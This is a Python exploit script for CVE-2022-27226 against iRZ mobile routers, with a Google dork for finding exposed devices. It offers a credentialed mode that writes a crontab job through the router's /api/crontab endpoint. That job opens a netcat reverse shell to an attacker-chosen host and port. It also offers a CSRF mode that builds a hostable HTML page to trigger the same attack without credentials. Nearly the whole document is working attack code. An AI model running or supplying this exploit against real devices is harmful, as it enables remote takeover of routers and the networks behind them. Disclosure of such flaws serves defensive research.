# Exploit Title: iRZ Mobile Router - CSRF to RCE
# Google Dork: intitle:"iRZ Mobile Router"
# Date: 2022-03-18
# Exploit Author: Stephen Chavez & Robert Willis
# Vendor Homepage: https://en.irz.ru/
# Software Link: https://github.com/SakuraSamuraii/ez-iRZ
# Version: Routers through 2022-03-16
# Tested on: RU21, RU21w, RL21, RU41, RL01
# CVE : CVE-2022-27226
import os
import requests
import json
import subprocess
option = "0"
def main():
print("####################################################")
print("# Welcome to IRZ CSRF to RCE Exploit - version 1.0 #")
print("####################################################")
print()
print("## by RedragonX of WHG & rej_ex of SAKURA SAMURAI ##")
print()
print("1. Post Authentication RCE (Needs Credentials)")
print("2. CSRF to RCE (No Credentials)")
print()
runit()
def runit():
option = input("Select an option: ")
if option == "1":
exploit1()
elif option == "2":
exploit2()
else:
print("You must select '1' or '2'. Exiting.")
def exploit1():
print("## Running Post Auth RCE exploit")
print()
print()
router_ip = input("## Enter the router ip to exploit: ")
router_port = int(
input("## Enter the victim router web page port (default is 80): ") or "80")
router_user = input("## Enter the username for the router login: ")
router_pass = input("## Enter the password for the router login: ")
LHOST = input("## Enter the LHOST for the router reverse shell: ")
LPORT = input("## Enter the LPORT for the router reverse shell: ")
router_url = f'http://{router_ip}:{router_port}'
nc1_str = f'Start a listener with the following command: nc -lvp {LPORT}'
input(nc1_str + "\n\nPress enter once you do")
send_json_payload(router_url, router_user, router_pass, LHOST, LPORT)
def send_json_payload(router_url, router_user, router_pass, lhost_ip, lhost_port):
intro = f'Sending the payload to {router_url}\n'
print(intro)
payload_str = '{"tasks":[{"enable":true,"minutes":"*","hours":"*","days":"*","months":"*","weekdays":"*","command":"rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc ' + \
f'{lhost_ip} {lhost_port} ' + \
'>/tmp/f"}],"_board":{"name":"RL21","platform":"irz_mt02","time":"Wed Mar 16 16:43:20 UTC 2022"}}'
payload_json = json.loads(payload_str)
s = requests.Session()
s.auth = (router_user, router_pass)
s.headers.update(
{"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"})
s.headers.update({"X-Requested-With": "XMLHttpRequest"})
s.headers.update({"Origin": router_url})
s.headers.update({"Referer": router_url})
s.post(router_url + "/api/crontab", json=payload_json)
exploit_str = f'rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost_ip} 443 >/tmp/f'
print(
"Request sent! You may have to wait about 2 minutes to get a shell. \nFirst shell will die due to crontab job. Start a new listener on a new port [e.g. 443], and run the following command: " + exploit_str)
print("To fix TTY: type telnet 0.0.0.0 in the shell")
def exploit2():
print("## Running CSRF to RCE exploit")
print()
print()
router_ip = input("## Enter the router ip to exploit: ")
router_port = int(
input("## Enter the victim router web page port (default is 80): ") or "80")
LHOST = input("## Enter the LHOST for the router reverse shell: ")
LPORT = input("## Enter the LPORT for the router reverse shell: ")
load_csrf_poc_file(router_ip, router_port, LHOST, LPORT)
def load_csrf_poc_file(router_ip, router_port, lhost_ip, lhost_port):
file_path = os.path.dirname(__file__) + os.sep + "poc.template.html"
if os.path.isfile(file_path):
with open(file_path) as poc_file:
original_poc_data_str = poc_file.read()
new_html = original_poc_data_str.replace("{router_ip}", router_ip)
new_html = new_html.replace(
"{router_port}", str(router_port))
lhost_split_arr = lhost_ip.split(".")
if len(lhost_split_arr) == 4:
new_html = new_html.replace(
"{lhost_ip_octect_1}", lhost_split_arr[0])
new_html = new_html.replace(
"{lhost_ip_octect_2}", lhost_split_arr[1])
new_html = new_html.replace(
"{lhost_ip_octect_3}", lhost_split_arr[2])
new_html = new_html.replace(
"{lhost_ip_octect_4}", lhost_split_arr[3])
new_html = new_html.replace(
"{lhost_port}", lhost_port)
new_file_path = os.path.dirname(
__file__) + os.sep + "poc.new.html"
try:
with open(new_file_path, 'w') as new_file:
new_file.write(new_html)
print()
print(
f'New file written to {new_file_path}. Host this file')
except FileNotFoundError:
print("You had an error writing to the file, doesn't exist.")
else:
print(f'{lhost_ip} is not a proper IPV4 address.')
else:
print(f'{file_path} not found')
main()
